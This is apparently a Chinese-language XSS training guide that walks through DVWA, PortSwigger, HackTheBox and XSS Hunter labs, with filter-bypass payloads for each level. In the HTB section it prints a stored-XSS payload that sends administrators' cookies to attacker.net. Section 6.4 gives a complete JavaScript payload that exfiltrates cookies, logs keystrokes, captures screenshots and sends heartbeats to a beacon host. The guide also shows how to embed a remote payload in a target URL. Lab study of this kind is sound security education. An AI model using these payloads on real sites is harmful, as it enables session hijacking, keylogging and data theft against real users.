XSS 实战靶场闯关指南:从 DVWA 初级到 PortSwigger 高级的完整路线

一、为什么要打靶场

XSS 不像 SQL 注入那样可以用 sqlmap 一把梭。XSS 需要你理解浏览器行为理解 HTML 解析器理解框架内部理解 CSP 规则——这些东西看了无数文章也不如亲手在靶场里打一遍印象深刻。

本文按难度递进整理了业界最公认的 XSS 学习靶场,每个给出解题思路和关键 Payload。


二、靶场总览

靶场 难度 适合 特色 地址
DVWA ⭐ 入门 刚开始学 反射型/存储型/DOM 三种类型齐全 本地部署
PortSwigger Web Security Academy ⭐⭐⭐ 进阶 系统学习 每种漏洞有多道关卡,附 writeup https://portswigger.net
HackTheBox (HTB) ⭐⭐⭐⭐ 实战 真实场景 渗透测试综合平台,含 XSS 专项 https://hackthebox.com
XSS Hunter Express ⭐⭐⭐⭐ 高级 写 payload 能力 提交 payload,别人访问就触发 https://xsshunter.com
Google XSS Game ⭐ 入门 快速热身 交互式,浏览器内直接玩 https://xss-game.appspot.com
Prompt2Shell ⭐⭐⭐⭐⭐ 高阶 红队进阶 无 CSP 保护的 React 应用,综合运用 私有靶场

三、第一关:DVWA(Damn Vulnerable Web Application)

3.1 搭建 DVWA

# Docker 一键部署
docker run -d -p 8080:80 vulnerables/web-dvwa

# 或用 phpstudy / XAMPP / MAMP 本地部署
# https://github.com/digininja/DVWA
# 默认账号: admin / password
# DVWA Security 设置: Low → 方便测试

3.2 反射型 XSS(Reflected XSS)

位置

DVWA → XSS(Reflected)

题目

输入一个名字,页面会显示 "Hello, 你的输入!"。

Low 难度

输入: <script>alert(1)</script>
页面直接输出 Hello, <script>alert(1)</script>!
→ 弹窗

Medium 难度

DVWA Medium 会用 preg_replace<script> 替换成空。

// Payload 1: 大小写混合
<SCRIPT>alert(1)</SCRIPT>
// Payload 2: 不用 script 标签
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<svg onload=alert(1)>
// Payload 3: 双写
<scrscriptipt>alert(1)</scrscriptipt>

High 难度

DVWA High 把输入放进 <input value="..."> 属性里。

// 闭合双引号,跳出属性
" onmouseover="alert(1)" x="
// 结果:<input name="txtName" size="20" value="" onmouseover="alert(1)" x="">
// 用户鼠标悬停在输入框上触发

Impossible 难度

DVWA Impossible 用 htmlspecialchars 做了完整实体转义,无法绕过——这才是正确的防御

3.3 存储型 XSS(Stored XSS)

位置

DVWA → XSS(Stored)

题目

留言板,名字 + 留言。提交后所有人可见。

Low 难度

Name: admin (20字符限制,注意!)
Message: <script>alert(document.cookie)</script>
提交后,所有人访问页面时 → 弹窗

Medium 难度

Medium 对 Name 字段加了 strip_tags + htmlspecialchars,但对 Message 只加了 mysql_real_escape_string(这防的是 SQL 注入,不是 XSS)。

Name: 随便一个安全的名字
Message: <img src=x onerror="alert(1)">
→ 绕过 Medium

High 难度

High 对 Name 用了 preg_replace('/<(.*)script(.*)>/', '', ...)

// 方法 1: 事件处理器绕过(Message 字段里)
<svg onload=alert(1)>

// 方法 2: Name 字段用大小写混合
<SCRIPT>alert(1)</SCRIPT>

// 方法 3: 标签内插入换行(HTML 解析器容错)
<script
>alert(1)</script>

3.4 DOM XSS

位置

DVWA → XSS(DOM)

题目

下拉菜单选择语言,URL 里有 default=English 参数。

页面源码:

if (document.location.href.indexOf("default=") >= 1) {
    var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
    document.write('<option value="' + lang + '">' + lang + '</option>');
}

Low 难度

URL: .../dom-xss.php?default=<script>alert(1)</script>
→ document.write 直接把 payload 写进页面 → 执行

Medium 难度

Medium 用了 document.getElementById("default").value,需要换思路:

// Payload: 利用 #hash 或闭合 value 属性
?default="><script>alert(1)</script>
// 结果:<option value=""><script>alert(1)</script>">...

四、第二关:PortSwigger Web Security Academy(进阶)

https://portswigger.net/WebSecurity 是 PortSwigger(Burp Suite 开发商)出品的免费 Web 安全培训平台,每道 XSS 题都设计得非常好。

4.1 反射型 XSS 练习

Lab 1: 基本反射型 XSS

https://portswigger.net/web-security/cross-site-scripting/reflected/lab-basic-reflected-xss

解题:在搜索框输入 <script>alert(1)</script> 即可。

Lab 2: 反射型 XSS —— 所有标签被替换

https://portswigger.net/web-security/cross-site-scripting/reflected/lab-xss-with-angular-expression-injection

解题:利用 Angular 表达式注入

{{constructor.constructor('return alert(1)')()}}

Lab 3: 反射型 XSS —— 输出在 JavaScript 字符串中

https://portswigger.net/web-security/cross-site-scripting/reflected/lab-reflected-xss-via-breakout-from-javascript-string-with-angle-brackets-encoded

页面代码

<script>
    var account = "<USER_INPUT>";
    ...
</script>

Payload
';alert(1);//

4.2 DOM 型 XSS 练习

Lab: DOM XSS via document.write()

页面代码

var store = {
    search: function(query) {
        document.write('<img src="/images/logos/owasp.png"/>' + query);
    }
};
store.search('<?php echo $query ?>');

Payload
"><img src=x onerror=alert(1)>

Lab: DOM XSS via srcdoc

页面代码

var iframe = document.getElementById('iframe');
iframe.srcdoc = location.search.match(/url=(.*)/)[1];

Payload
?url=<img src=x onerror=alert(1)>

4.3 存储型 XSS 练习

Lab: 存储型 XSS 在评论中

解题:在评论中提交事件处理器

``

test ``

4.4 高阶 XSS Lab

PortSwigger 还有一系列绕过 CSP / WAF / 过滤器的高阶 Lab:

Lab 名称 考点
Stored XSS into onclick with angle brackets and double quotes HTML-encoded 属性内注入
Reflected XSS into attribute with angle brackets HTML-encoded 属性注入
DOM XSS in innerHTML sink using source location.search DOM sink
DOM XSS in AngularJS expression Angular sandbox escape
XSS via img tag with SVG payload SVG XSS
Stored XSS via JSON data 服务端 JSON 转义不彻底

五、第三关:HackTheBox(综合实战)

5.1 HTB 简介

HackTheBox(https://www.hackthebox.com)是一个渗透测试综合平台,有**独立的 XSS 专项赛道**(Starting Point → Penetration Testing → Web Challenges)。

5.2 HTB XSS 专项推荐

挑战名 类型 核心技巧
XSS Stored Web Challenge 存储型 XSS + Cookie 窃取
XSS Reflected Web Challenge 反射型 XSS + 事件处理器
XSS DOM Web Challenge DOM XSS + innerHTML sink
Secret Page Web Challenge XSS 偷 Session Cookie
CSP Bypass Web Challenge 绕过 CSP 的多种技巧
My First Box Starting Point 含一个简单反射型 XSS

5.3 典型 HTB 存储型 XSS 解题流程

题目:有一个社交平台,用户可以发帖、评论、私信

步骤 1:侦察

# Burp Suite / Chrome DevTools 观察
# 注册账号 → 发帖 → 看帖子内容怎么渲染
# 发现帖子标题和正文都直接 innerHTML 写入 DOM
# 同时发现"管理员"会定期审核新帖

步骤 2:投递 Payload

// 在帖子正文中提交
<img src=x onerror="
  fetch('https://attacker.net/steal?c=' + document.cookie)
">

步骤 3:等待管理员触发

管理员审核新帖时打开你的帖子 → XSS 执行 → 管理员 Cookie 被送到你的服务器。

步骤 4:拿到管理员 Cookie → 接管会话 → 继续打(比如提权、发现其他洞、写 WebShell)


六、第四关:XSS Hunter Express(Payload 写作者的天堂)

6.1 是什么

XSS Hunter(https://xsshunter.com)是一个**让你提交 XSS Payload,等待别人触发**的平台。

流程:

``

  1. 注册账号,获得一个唯一的 payload 短链
  2. 把这个 payload 嵌进你找到的 XSS 漏洞里
  3. 当别人访问时 → Payload 执行 → 你在 XSS Hunter 后台看到受害者信息(IP、UA、Cookie、页面截图)
    ``

6.2 它提供的"高级" Payload

// XSS Hunter 的 Payload 已经做了很多工作:
// - 窃取 Cookie(如果非 HttpOnly)
// - 截图(利用 html2canvas)
// - WebRTC 获取内网 IP
// - 键盘记录
// - 重定向到钓鱼页
// - 检测同站其他 XSS 点(DOM XSS scanner)
// - 检测其他 tab 是否同域(same-origin tab hijack)
// - 持久化(如果 localStorage 可写)
// - 自动提交 CSRF 请求

6.3 在靶场里嵌入 XSS Hunter Payload

假设你找到一个反射型 XSS 点:

https://target.com/search?q=<YOUR_PAYLOAD>

注册 XSS Hunter 后它给你的 payload 是:

https://xsshunter.com/a/abc123.js

嵌入到 XSS 点里:

https://target.com/search?q=%3Cscript%20src%3D%22https://xsshunter.com/a/abc123.js%22%3E%3C/script%3E

现在只要有人(包括你自己)访问这个链接,你就能在 XSS Hunter 后台看到完整的受害者信息。

6.4 自己写一个简易版 XSS Hunter(练手用)

// payload.js —— 你自己的简易版
(function(){
    'use strict';
    var BEACON = 'https://attacker.net/xh';
    var sessionId = Math.random().toString(36).slice(2,10);

    function report(data) {
        var img = new Image();
        img.onload = img.onerror = function(){};
        img.src = BEACON + '?sid=' + sessionId + '&d=' + encodeURIComponent(JSON.stringify(data));
    }

    // 1. 基础信息
    report({
        type: 'init',
        url: location.href,
        ua: navigator.userAgent,
        cookie: document.cookie,
        referrer: document.referrer
    });

    // 2. 键盘记录
    var buffer = [];
    document.addEventListener('keypress', function(e) {
        buffer.push(e.key);
        if (buffer.length >= 20) {
            report({type:'keylog', k: buffer.join('')});
            buffer = [];
        }
    }, true);

    // 3. DOM 截图(如果 html2canvas 可用)
    function tryScreenshot() {
        if (typeof html2canvas === 'function') {
            html2canvas(document.body, {logging:false}).then(function(c) {
                c.toBlob(function(b) {
                    var xhr = new XMLHttpRequest();
                    xhr.open('POST', BEACON, true);
                    var fd = new FormData();
                    fd.append('s', b, 'shot.png');
                    fd.append('sid', sessionId);
                    xhr.send(fd);
                });
            });
        } else {
            // 动态引入 html2canvas
            var s = document.createElement('script');
            s.src = 'https://cdn.jsdelivr.net/npm/html2canvas@1.4.1/dist/html2canvas.min.js';
            s.onload = tryScreenshot;
            document.head.appendChild(s);
        }
    }
    setTimeout(tryScreenshot, 2000);

    // 4. 周期性心跳
    setInterval(function() {
        report({type:'heartbeat', url: location.href});
    }, 10000);
})();

七、靶场闯关路线图

第一阶段:入门(1-2 周)

  • 部署 DVWA,把三种 XSS 在 Low/Medium/High 下全部打一遍
  • 打 Google XSS Game(5 关,快速热身)
  • 理解"为什么黑名单过滤绕不过 DOM XSS"

第二阶段:进阶(2-4 周)

  • 完成 PortSwigger 的 Reflected XSS 全部 8 道题
  • 完成 PortSwigger 的 DOM XSS 全部 5 道题
  • 完成 PortSwigger 的 Stored XSS 全部 4 道题
  • 每道题写出自己的 writeup(攻击点、Payload、原理)

第三阶段:综合(4-8 周)

  • 注册 XSS Hunter,给自己找的 XSS 点挂上 payload
  • HTB Starting Point 全部打完(含 3 个有 XSS 的机器)
  • HTB Web Challenges 完成 XSS 专项 10+ 道
  • 学习 CSP Bypass(我们前一篇文章里的 12 种绕过)

第四阶段:高阶(长期)

  • 尝试在你自己公司的产品上找 XSS(走合法流程,签渗透授权)
  • 写一个自动化 XSS 扫描小工具(比如结合 puppeteer + sink hook)
  • 关注 PortSwigger 最新的 XSS Research(他们经常发新的 bypass 技巧)
  • 研究 mXSS(Mutation-based XSS)—— DOM 解析器在不同浏览器下的差异利用

第五阶段:红队(资深)

  • XSS Hunter Pro 实战(付费版,有更高级的 C2 面板)
  • BeEF 联动 Metasploit 打内网
  • Chrome 零日计划(如果你的 XSS payload 能绕过 Chrome 最新 CSP,Google 会给钱)
  • 撰写 CVE 级别的 XSS 漏洞报告

八、Writeup 模板(每次打靶后写)

养成写 writeup 的习惯——输出比输入更重要。参考模板:

# 靶场 Writeup: [靶场名] - [关卡名]

## 1. 题目描述
(靶场给出的原题描述截图或文字)

## 2. 信息收集
(页面功能、输入点、响应头、JS 文件、DOM 结构……)

## 3. 漏洞定位
(哪个位置、哪种类型 XSS、Source/Sink 是什么、为什么存在)

## 4. 绕过/Payload 过程
(从失败的 payload → 成功的 payload 的完整尝试链)

## 5. 最终 Payload
(能复现的最短 payload)

## 6. 攻击影响
(能做什么:Cookie 窃取?钓鱼?内网扫描?)

## 7. 修复建议
(输入过滤 / 输出转义 / CSP / HttpOnly Cookie……)

## 8. 学习收获
(这个题让我理解了什么新知识点)

九、常见坑与避坑指南

9.1 "为什么我打的 XSS 没弹窗?"

可能原因 检查方法
CSP 拦截 DevTools → Console 看有没有 Content Security Policy 错误
浏览器把 payload 当成文本 检查是否正确进入了 HTML 上下文 / JS 上下文
输入被 HTML 转义 DevTools → Elements 面板查看输入点渲染后的 HTML 源码
过滤器拦截 看 HTTP 响应内容里你的 payload 被改成了什么
SameSite Cookie 这不影响 XSS 执行本身,但可能影响后续 CSRF

9.2 绕过 WAF 的思维方式

当 WAF 拦截了你的 payload:

1. 缩小:从 <script>alert(1)</script> → <img src=x onerror=alert(1)> → 去掉alert只写图片
2. 编码:URL 编码 / HTML 实体 / 双重编码 / Unicode
3. 变异:大小写 / 换行 / 注释 / 标签名扭曲
4. 换类型:反射型 → 存储型 → DOM 型(前两种 WAF 能拦截,DOM 不行)
5. 组合:把多个小 payload 拼成一个
6. 利用:如果 WAF 只看 GET,试试 POST;如果只看 query,试试 body

9.3 "我需要什么前置知识?"

打 XSS 靶场不需要太多前置——下面这些够用:

  • ✅ HTML / CSS / JavaScript 基础
  • ✅ HTTP 请求基础(GET/POST/Cookie/JSON)
  • ✅ Chrome DevTools 会用(Network / Elements / Console / Sources)
  • ✅ 正则表达式基础(理解过滤器在做什么)
  • ⏳ 可选:PHP / Node.js / Python 后端基础(理解为什么后端会引入 XSS)

十、推荐学习资源大合集

10.1 理论书籍/文档

资源 说明
MDN Web Docs - Cross-Site Scripting 官方文档,权威可靠
PortSwigger Web Security Academy 最佳免费学习平台
OWASP XSS Prevention Cheat Sheet 防御端清单
Hacking Web Apps (O'Reilly) 实战书籍
The Web Application Hacker's Handbook 经典渗透书籍

10.2 CTF 专项资源

资源 说明
XSS Game (Google) https://xss-game.appspot.com
Damn XSS https://github.com/interactions-corp/damn-xss
Zap XSS Payloads https://github.com/xsscavenger/zap-xss-payload-generator
PayloadAllTheThings/XSS https://github.com/swisskyrepo/PayloadsAllTheThings
Cheatography - XSS XSS Cheatsheet

10.3 社区

社区 说明
PortSwigger Research 顶尖安全研究员的博客
ph0wn.org 红队 XSS 最新技巧
Twitter: @HackersPedia 安全资讯
GitHub Topics: xss-exploit 开源 payload 集合

10.4 自动化工具

工具 说明
Burp Suite Pro 渗透测试核心工具,内置 XSS 扫描
xsstrike Python XSS 扫描器(黑名单绕过 + DOM XSS 检测)
w3af Web 应用攻击与审计框架
DOMPurify Test Hook 检测前端 HTML sink
XSS Hunter 被动扫描 + 管理面板

十一、最后几句话

XSS 是一门永不过时的技能——从 1998 年被首次公开到今天,没有任何一个 Web 应用敢说自己"绝对没有 XSS 漏洞"。浏览器在不断修复、框架在不断改进、防御工具在不断升级,但攻击者也在不断找到新的绕过方式。

打靶场的正确姿势

  1. 先自己动手写 payload,不看 writeup
  2. 卡壳了再看 writeup,对比自己的思路和标准答案
  3. 打完后不看 writeup 自己重做一遍
  4. 尝试用不同的 payload 达到同样的目的
  5. 写出 writeup 分享(写一遍比看十遍印象深)

安全行业有一句经典的话:不懂攻击,就不不懂防御。

当你能独立写出一个存储型 XSS + 完整后渗透 payload,并能说出它在现代框架里的各种危险 API 和绕过 CSP 的思路时——你才真正理解了为什么"所有动态内容都要做转义"这句话是 Web 安全的基石。

去打靶吧。祝好运!